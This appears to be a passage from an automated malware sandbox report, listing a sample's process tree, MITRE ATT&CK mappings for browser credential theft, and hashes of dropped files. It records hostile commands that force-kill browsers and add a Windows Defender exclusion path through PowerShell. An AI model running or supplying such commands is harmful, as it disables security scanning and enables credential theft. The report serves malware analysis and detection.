    PID:428
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM centbrowser.exe
      4⤵
      Kills process with taskkill
      PID:684
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM 7star.exe"
    3⤵
    - Executes a command shell one-liner
    PID:4252
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\PickerHost\lhehp3'""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4532
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\PickerHost\lhehp3'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:5144

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Peripheral Device Discovery

T1120

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

node.napi.node

Path C:\Users\Admin\.cache\pkg\da2172ce055fa47d6a0ea1c90654f530abed33f69a74d52fab06c4c7653b48fd\datavault-win\prebuilds\win32-x64\node.napi.node
Size 137KB
SHA256 da2172ce055fa47d6a0ea1c90654f530abed33f69a74d52fab06c4c7653b48fd
MD5 04bfbfec8db966420fe4c7b85ebb506a
SHA1 939bb742a354a92e1dcd3661a62d69e48030a335
SHA512 4ea97a9a120ed5bee8638e0a69561c2159fc3769062d7102167b0e92b4f1a5c002a761bd104282425f6cee8d0e39dbe7e12ad4e4a38570c3f90f31b65072dd65
SSDEEP 3072:94PTD6FEzMju6bzJKjpEPeTOKvJhEnww+YbRYvPuq:94jQju6b9KilKvJurR8W
TLSH
T1B3D37D4BB3A500BBE176C639C8934A05E776B81517619B9F03A0475B1F237D1EE3EB22
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

node_sqlite3.node

Path C:\Users\Admin\.cache\pkg\f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c\sqlite3\build\Release\node_sqlite3.node
Size 1.8MB
SHA256 f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c
MD5 66a65322c9d362a23cf3d3f7735d5430
SHA1 ed59f3e4b0b16b759b866ef7293d26a1512b952e
SHA512 0a44d12852fc4c74658a49f886c4bc7c715c48a7cb5a3dcf40c9f1d305ca991dd2c2cb3d0b5fd070b307a8f331938c5213188cbb2d27d47737cc1c4f34a1ea21
SSDEEP 49152:lVtIA1xRrGLYLn9M+BMPPivsICK9rzoNEqt:7tH4X3inMZt
TLSH
T12B958D4BA2B400FDC1ABC179891B5A0BE7B27405177497DF15E08A696F23FE356BE320
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

cache.exe

Path C:\Users\Admin\AppData\Local\MediaOverlay\1p35u4\cache.exe
Size 1.8MB
SHA256 a3870c485b350542231baca4a670099560f00ff1c92580880ae12ffb5d5d92c5
MD5 a3a364db88e6d6dfed98723f2f06b1f0
SHA1 63fde7d63cbd4189600ae833089390c7e4a50ba2
SHA512 3276e70c08396423850b70d6517db91ea3f48f43cd5f813b564da753957a52d7ef9e1be6365a109171347842373e2fa49defbb7faf1d13db76f83952eaf6dc81
SSDEEP 49152:KnvMWcBH1IHWfEXV6OZV0O/hny01uaT+X1TgK+:KvMWIGHEEcOf7hyKyVgD
TLSH
T1C885122AEB9504F9F1679178CD624902D771BC0E07B1DADF17D84A962F276D08E3EB02
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

dwm_overlay.exe

Path C:\Users\Admin\AppData\Local\MediaOverlay\1p35u4\dwm_overlay.exe
Size 43.2MB
SHA256 99b50278706d427ab686266534b28e7c4e9b596f3dca4dfa88ca51190402f79a
MD5 acdb8ae641da5606c9f594886faa16c7
SHA1 80d719571273626dd367c4f4cc20177b597a0370
SHA512 49a34c0dd4ea448a9c15715cf9e428372bb64b549d7f7dc44610830e79a1f549bbc7847b700dc5267b96cf74d6d1dd581f0c6c31e42fd19344c1257b841538e7
SSDEEP 393216:M6F3TI9E/wpw2/pblsj7KfEfJInv3lMz5/oZxGsnxylfyYr8BUkpcI4NXr3/hIx9:M9HlkOm6iXdIxO1Miu
TLSH
T1BCA78C0673E601A5E5B3D2788AAB5103D773B8635730CBDF329C06552FAB6D09A7B720
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download